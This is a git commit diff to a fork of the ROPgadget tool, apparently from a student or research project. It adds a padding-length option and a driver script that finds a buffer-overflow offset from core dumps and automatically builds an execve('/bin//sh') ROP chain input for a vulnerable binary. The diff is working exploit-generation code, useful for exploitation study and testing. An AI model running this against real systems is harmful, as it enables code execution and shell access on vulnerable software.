Fill in ropchain padding automatically
Co-authored-by: Chris Gora <34940205+ChrisGora@users.noreply.github.com> Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
This commit is contained in:
Liam Dalgarno
parent
99cb451194
commit
1bc6bc2cda
1
.gitignore
vendored
1
.gitignore
vendored
@ -138,3 +138,4 @@ dmypy.json
|
||||
# binaries
|
||||
vuln-32
|
||||
core
|
||||
out
|
||||
@ -17,12 +17,12 @@ import ropgadget.version
|
||||
import ropgadget.loaders
|
||||
import ropgadget.ropchain
|
||||
|
||||
def main():
|
||||
def main(arguments=None):
|
||||
import sys
|
||||
from ropgadget.args import Args
|
||||
from ropgadget.core import Core
|
||||
try:
|
||||
args = Args()
|
||||
args = Args(arguments)
|
||||
except ValueError as e:
|
||||
print(e)
|
||||
sys.exit(-1)
|
||||
|
||||
@ -84,6 +84,7 @@ architectures supported:
|
||||
parser.add_argument("--rawEndian", type=str, metavar="<endian>", help="Specify an endianness for a raw file")
|
||||
parser.add_argument("--re", type=str, metavar="<re>", help="Regular expression")
|
||||
parser.add_argument("--offset", type=str, metavar="<hexaddr>", help="Specify an offset for gadget addresses")
|
||||
parser.add_argument("--paddingLen", type=int, metavar="<nbyte>", default=6, help="Specify the padding length for the ROP chain")
|
||||
parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation")
|
||||
parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)")
|
||||
parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine")
|
||||
|
||||
@ -215,7 +215,7 @@ class Core(cmd.Cmd):
|
||||
self.__getGadgets()
|
||||
self.__lookingForGadgets()
|
||||
if self.__options.ropchain:
|
||||
ROPMaker(self.__binary, self.__gadgets, self.__offset)
|
||||
ROPMaker(self.__binary, self.__gadgets, self.__options.paddingLen, self.__offset)
|
||||
return True
|
||||
|
||||
|
||||
|
||||
@ -14,9 +14,10 @@ from capstone import *
|
||||
|
||||
|
||||
class ROPMakerX64(object):
|
||||
def __init__(self, binary, gadgets, liboffset=0x0):
|
||||
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
self.paddingLen = paddingLen
|
||||
|
||||
# If it's a library, we have the option to add an offset to the addresses
|
||||
self.__liboffset = liboffset
|
||||
@ -40,7 +41,7 @@ class ROPMakerX64(object):
|
||||
if g != "ret":
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return [gadget, regex.group("dst"), regex.group("src")]
|
||||
except:
|
||||
continue
|
||||
@ -58,7 +59,7 @@ class ROPMakerX64(object):
|
||||
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return gadget
|
||||
except:
|
||||
continue
|
||||
@ -70,9 +71,9 @@ class ROPMakerX64(object):
|
||||
if g.split()[0] == "pop":
|
||||
reg = g.split()[1]
|
||||
try:
|
||||
print("\tp += pack('<Q', 0x%016x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
print("p += pack('<Q', 0x%016x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
except KeyError:
|
||||
print("\tp += pack('<Q', 0x4141414141414141) # padding")
|
||||
print("p += pack('<Q', 0x4141414141414141) # padding")
|
||||
|
||||
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall):
|
||||
|
||||
@ -82,99 +83,99 @@ class ROPMakerX64(object):
|
||||
if s["name"] == ".data":
|
||||
dataAddr = s["vaddr"] + self.__liboffset
|
||||
if dataAddr is None:
|
||||
print("\n[-] Error - Can't find a writable section")
|
||||
print("# [-] Error - Can't find a writable section")
|
||||
return
|
||||
|
||||
print("\t#!/usr/bin/env python2")
|
||||
print("\t# execve generated by ROPgadget\n")
|
||||
print("\tfrom struct import pack\n")
|
||||
print("#!/usr/bin/env python3")
|
||||
print("# execve generated by ROPgadget\n")
|
||||
print("# from struct import pack\n")
|
||||
|
||||
print("\t# Padding goes here")
|
||||
print("\tp = ''\n")
|
||||
print("# Padding goes here")
|
||||
print("p = b'" + ('A' * self.paddingLen) + "'\n")
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("\tp += '/bin//sh'")
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("p += b'/bin//sh'")
|
||||
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
self.__padding(xorSrc, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popRdi["vaddr"], popRdi["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popRdi["vaddr"], popRdi["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
|
||||
self.__padding(popRdi, {})
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popRsi["vaddr"], popRsi["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popRsi["vaddr"], popRsi["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popRsi, {"rdi": dataAddr}) # Don't overwrite rdi
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(popRdx["vaddr"], popRdx["gadget"]))
|
||||
print("\tp += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(popRdx["vaddr"], popRdx["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popRdx, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(xorRax["vaddr"], xorRax["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(xorRax["vaddr"], xorRax["gadget"]))
|
||||
self.__padding(xorRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
|
||||
|
||||
for i in range(59):
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(incRax["vaddr"], incRax["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(incRax["vaddr"], incRax["gadget"]))
|
||||
self.__padding(incRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
|
||||
|
||||
print("\tp += pack('<Q', 0x%016x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
print("p += pack('<Q', 0x%016x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
|
||||
def __generate(self):
|
||||
|
||||
# To find the smaller gadget
|
||||
self.__gadgets.reverse()
|
||||
|
||||
print("\nROP chain generation\n===========================================================")
|
||||
print("\n# ROP chain generation\n#===========================================================")
|
||||
|
||||
print("\n- Step 1 -- Write-what-where gadgets\n")
|
||||
print("\n# - Step 1 -- Write-what-where gadgets\n")
|
||||
|
||||
gadgetsAlreadyTested = []
|
||||
while True:
|
||||
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
|
||||
if not write4where:
|
||||
print("\t[-] Can't find the 'mov qword ptr [r64], r64' gadget")
|
||||
print("# [-] Can't find the 'mov qword ptr [r64], r64' gadget")
|
||||
return
|
||||
|
||||
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
|
||||
if not popDst:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
|
||||
if not popSrc:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
|
||||
if not xorSrc:
|
||||
print("\t[-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2], write4where[2]))
|
||||
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2], write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
else:
|
||||
break
|
||||
|
||||
print("\n- Step 2 -- Init syscall number gadgets\n")
|
||||
print("\n# - Step 2 -- Init syscall number gadgets\n")
|
||||
|
||||
xorRax = self.__lookingForSomeThing("xor rax, rax")
|
||||
if not xorRax:
|
||||
print("\t[-] Can't find the 'xor rax, rax' instruction")
|
||||
print("# [-] Can't find the 'xor rax, rax' instruction")
|
||||
return
|
||||
|
||||
incRax = self.__lookingForSomeThing("inc rax")
|
||||
@ -187,7 +188,7 @@ class ROPMakerX64(object):
|
||||
instr = [incRax, incEax, incAx, addRax, addEax, addAx]
|
||||
|
||||
if all(v is None for v in instr):
|
||||
print("\t[-] Can't find the 'inc rax' or 'add rax, 1' instruction")
|
||||
print("# [-] Can't find the 'inc rax' or 'add rax, 1' instruction")
|
||||
return
|
||||
|
||||
for i in instr:
|
||||
@ -195,31 +196,31 @@ class ROPMakerX64(object):
|
||||
incRax = i
|
||||
break
|
||||
|
||||
print("\n- Step 3 -- Init syscall arguments gadgets\n")
|
||||
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
|
||||
|
||||
popRdi = self.__lookingForSomeThing("pop rdi")
|
||||
if not popRdi:
|
||||
print("\t[-] Can't find the 'pop rdi' instruction")
|
||||
print("# [-] Can't find the 'pop rdi' instruction")
|
||||
return
|
||||
|
||||
popRsi = self.__lookingForSomeThing("pop rsi")
|
||||
if not popRsi:
|
||||
print("\t[-] Can't find the 'pop rsi' instruction")
|
||||
print("# [-] Can't find the 'pop rsi' instruction")
|
||||
return
|
||||
|
||||
popRdx = self.__lookingForSomeThing("pop rdx")
|
||||
if not popRdx:
|
||||
print("\t[-] Can't find the 'pop rdx' instruction")
|
||||
print("# [-] Can't find the 'pop rdx' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 4 -- Syscall gadget\n")
|
||||
print("\n# - Step 4 -- Syscall gadget\n")
|
||||
|
||||
syscall = self.__lookingForSomeThing("syscall")
|
||||
if not syscall:
|
||||
print("\t[-] Can't find the 'syscall' instruction")
|
||||
print("# [-] Can't find the 'syscall' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 5 -- Build the ROP chain\n")
|
||||
print("# - Step 5 -- Build the ROP chain\n")
|
||||
|
||||
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall)
|
||||
|
||||
|
||||
@ -13,9 +13,10 @@ from capstone import *
|
||||
|
||||
|
||||
class ROPMakerX86(object):
|
||||
def __init__(self, binary, gadgets, liboffset=0x0):
|
||||
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
self.paddingLen = paddingLen
|
||||
|
||||
# If it's a library, we have the option to add an offset to the addresses
|
||||
self.__liboffset = liboffset
|
||||
@ -40,7 +41,7 @@ class ROPMakerX86(object):
|
||||
if g != "ret":
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return [gadget, regex.group("dst"), regex.group("src")]
|
||||
except:
|
||||
continue
|
||||
@ -58,7 +59,7 @@ class ROPMakerX86(object):
|
||||
if g != "ret":
|
||||
if g.split()[0] == "ret" and g.split()[1] != "":
|
||||
raise
|
||||
print("\t[+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
|
||||
return gadget
|
||||
except:
|
||||
continue
|
||||
@ -70,9 +71,9 @@ class ROPMakerX86(object):
|
||||
if g.split()[0] == "pop":
|
||||
reg = g.split()[1]
|
||||
try:
|
||||
print("\tp += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
|
||||
except KeyError:
|
||||
print("\tp += pack('<I', 0x41414141) # padding")
|
||||
print("p += pack('<I', 0x41414141) # padding")
|
||||
|
||||
def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
|
||||
|
||||
@ -82,142 +83,152 @@ class ROPMakerX86(object):
|
||||
if s["name"] == ".data":
|
||||
dataAddr = s["vaddr"] + self.__liboffset
|
||||
if dataAddr == None:
|
||||
print("\n[-] Error - Can't find a writable section")
|
||||
print("\n# [-] Error - Can't find a writable section")
|
||||
return
|
||||
|
||||
print("\t#!/usr/bin/env python2")
|
||||
print("\t# execve generated by ROPgadget\n" )
|
||||
print("\tfrom struct import pack\n")
|
||||
print("#!/usr/bin/env python2")
|
||||
print("# execve generated by ROPgadget\n" )
|
||||
print("from struct import pack\n")
|
||||
print("import sys")
|
||||
|
||||
print("\t# Padding goes here")
|
||||
print("\tp = ''\n")
|
||||
print()
|
||||
print("out_file = sys.argv[1]")
|
||||
print()
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
print("p = b'" + ('A' * self.paddingLen) + "'\n")
|
||||
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("\tp += '/bin'")
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("p += b'/bin'")
|
||||
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("\tp += '//sh'")
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
|
||||
print("p += b'//sh'")
|
||||
self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popDst, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
|
||||
self.__padding(xorSrc, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
|
||||
self.__padding(write4where, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
|
||||
self.__padding(popEbx, {})
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
|
||||
print("\tp += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
|
||||
self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
|
||||
self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
|
||||
|
||||
for i in range(11):
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
|
||||
self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
|
||||
|
||||
print("\tp += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
|
||||
|
||||
print()
|
||||
print(r"""
|
||||
with open(out_file, "wb") as f:
|
||||
f.write(p)
|
||||
""")
|
||||
|
||||
def __generate(self):
|
||||
|
||||
# To find the smaller gadget
|
||||
self.__gadgets.reverse()
|
||||
|
||||
print("\nROP chain generation\n===========================================================")
|
||||
print("\n# ROP chain generation\n# ===========================================================")
|
||||
|
||||
print("\n- Step 1 -- Write-what-where gadgets\n")
|
||||
print("\n# - Step 1 -- Write-what-where gadgets\n")
|
||||
|
||||
gadgetsAlreadyTested = []
|
||||
while True:
|
||||
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
|
||||
if not write4where:
|
||||
print("\t[-] Can't find the 'mov dword ptr [r32], r32' gadget")
|
||||
print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
|
||||
return
|
||||
|
||||
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
|
||||
if not popDst:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
|
||||
if not popSrc:
|
||||
print("\t[-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
|
||||
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
|
||||
if not xorSrc:
|
||||
print("\t[-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
|
||||
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
|
||||
gadgetsAlreadyTested += [write4where[0]]
|
||||
continue
|
||||
else:
|
||||
break
|
||||
|
||||
print("\n- Step 2 -- Init syscall number gadgets\n")
|
||||
print("\n# - Step 2 -- Init syscall number gadgets\n")
|
||||
|
||||
xorEax = self.__lookingForSomeThing("xor eax, eax")
|
||||
if not xorEax:
|
||||
print("\t[-] Can't find the 'xor eax, eax' instruction")
|
||||
print("# [-] Can't find the 'xor eax, eax' instruction")
|
||||
return
|
||||
|
||||
incEax = self.__lookingForSomeThing("inc eax")
|
||||
if not incEax:
|
||||
print("\t[-] Can't find the 'inc eax' instruction")
|
||||
print("# [-] Can't find the 'inc eax' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 3 -- Init syscall arguments gadgets\n")
|
||||
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
|
||||
|
||||
popEbx = self.__lookingForSomeThing("pop ebx")
|
||||
if not popEbx:
|
||||
print("\t[-] Can't find the 'pop ebx' instruction")
|
||||
print("# [-] Can't find the 'pop ebx' instruction")
|
||||
return
|
||||
|
||||
popEcx = self.__lookingForSomeThing("pop ecx")
|
||||
if not popEcx:
|
||||
print("\t[-] Can't find the 'pop ecx' instruction")
|
||||
print("# [-] Can't find the 'pop ecx' instruction")
|
||||
return
|
||||
|
||||
popEdx = self.__lookingForSomeThing("pop edx")
|
||||
if not popEdx:
|
||||
print("\t[-] Can't find the 'pop edx' instruction")
|
||||
print("# [-] Can't find the 'pop edx' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 4 -- Syscall gadget\n")
|
||||
print("\n# - Step 4 -- Syscall gadget\n")
|
||||
|
||||
syscall = self.__lookingForSomeThing("int 0x80")
|
||||
if not syscall:
|
||||
print("\t[-] Can't find the 'syscall' instruction")
|
||||
print("# [-] Can't find the 'syscall' instruction")
|
||||
return
|
||||
|
||||
print("\n- Step 5 -- Build the ROP chain\n")
|
||||
print("\n# - Step 5 -- Build the ROP chain\n")
|
||||
|
||||
self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
|
||||
|
||||
|
||||
@ -11,9 +11,10 @@ from ropgadget.ropchain.arch.ropmakerx86 import *
|
||||
from ropgadget.ropchain.arch.ropmakerx64 import *
|
||||
|
||||
class ROPMaker(object):
|
||||
def __init__(self, binary, gadgets, offset):
|
||||
def __init__(self, binary, gadgets, paddingLen, offset):
|
||||
self.__binary = binary
|
||||
self.__gadgets = gadgets
|
||||
self.paddingLen = paddingLen
|
||||
self.__offset = offset
|
||||
|
||||
self.__handlerArch()
|
||||
@ -23,12 +24,12 @@ class ROPMaker(object):
|
||||
if self.__binary.getArch() == CS_ARCH_X86 \
|
||||
and self.__binary.getArchMode() == CS_MODE_32 \
|
||||
and self.__binary.getFormat() == "ELF":
|
||||
ROPMakerX86(self.__binary, self.__gadgets, self.__offset)
|
||||
ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
|
||||
|
||||
elif self.__binary.getArch() == CS_ARCH_X86 \
|
||||
and self.__binary.getArchMode() == CS_MODE_64 \
|
||||
and self.__binary.getFormat() == "ELF":
|
||||
ROPMakerX64(self.__binary, self.__gadgets, self.__offset)
|
||||
ROPMakerX64(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
|
||||
|
||||
else:
|
||||
print("\n[Error] ROPMaker.__handlerArch - Arch not supported yet for the rop chain generation")
|
||||
|
||||
@ -4,10 +4,11 @@ from pwnlib.util.packing import pack
|
||||
from pwnlib.tubes.process import process, signal
|
||||
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import argparse
|
||||
import warnings
|
||||
import ROPgadget.ropgadget
|
||||
from contextlib import redirect_stderr
|
||||
|
||||
|
||||
print(r'''
|
||||
_ ___ _.--. ___ _____ ______ _____ ______ ______
|
||||
@ -21,11 +22,13 @@ print(r'''
|
||||
|
||||
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
|
||||
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
|
||||
arg_parser.add_argument("--core", "--c", metavar="core_file", type=str, help="The name of the generated core file")
|
||||
arg_parser.add_argument("--core", "--c", metavar="core_file", default="core", type=str, help="The name of the generated core file")
|
||||
arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
|
||||
args = arg_parser.parse_args()
|
||||
|
||||
exec_file = args.exec_file
|
||||
core_file = args.core
|
||||
rop_file = args.rop_file
|
||||
|
||||
def find_offset(exec_file, core_file):
|
||||
input_file = "input.txt"
|
||||
@ -46,6 +49,7 @@ def find_offset(exec_file, core_file):
|
||||
process([f"./{exec_file}", input_file]).wait()
|
||||
|
||||
try:
|
||||
with open("/dev/null", "w") as f, redirect_stderr(f):
|
||||
core = Coredump(f"./{core_file}")
|
||||
|
||||
if core and pack(core.eip) in payload:
|
||||
@ -58,15 +62,26 @@ def find_offset(exec_file, core_file):
|
||||
os.remove(input_file)
|
||||
payload_size *= 2
|
||||
|
||||
raise BaseException("Failed to find offset")
|
||||
|
||||
raise BaseException("[😞] Failed to find offset.")
|
||||
|
||||
offset = find_offset(exec_file, core_file)
|
||||
|
||||
result = subprocess.run(["ROPgadget", "--binary", exec_file, "--ropchain"], stdout=subprocess.PIPE)
|
||||
stdout = result.stdout
|
||||
print(f"[🤔] Running ROPgadget with offset {offset}...")
|
||||
result = subprocess.run(
|
||||
[
|
||||
"ROPgadget",
|
||||
"--binary", exec_file,
|
||||
"--ropchain",
|
||||
"--silent",
|
||||
"--paddingLen", str(offset)
|
||||
],
|
||||
stdout = subprocess.PIPE
|
||||
)
|
||||
|
||||
with open("script.py", "wb") as f:
|
||||
f.write(result.stdout)
|
||||
|
||||
stdout = stdout.replace(b"p = ''\n", b"p = \"" + bytes('a' * offset, 'ascii') + b"\"\n")
|
||||
with open("test.py", "wb") as f:
|
||||
f.write(stdout)
|
||||
print(f"[🤔] Running generated script to create ROP input file...")
|
||||
process(["python3", "script.py", rop_file]).wait()
|
||||
|
||||
print(f"[🤩] All done! The ROP input is saved to {rop_file}!")
|
||||
3
init.sh
3
init.sh
@ -12,6 +12,9 @@ sudo apt-get --assume-yes --quiet install python3 python3-pip python3-dev git li
|
||||
sudo apt-get --assume-yes --quiet install python
|
||||
python3 -m pip install --upgrade pip
|
||||
python3 -m pip install --upgrade pwntools
|
||||
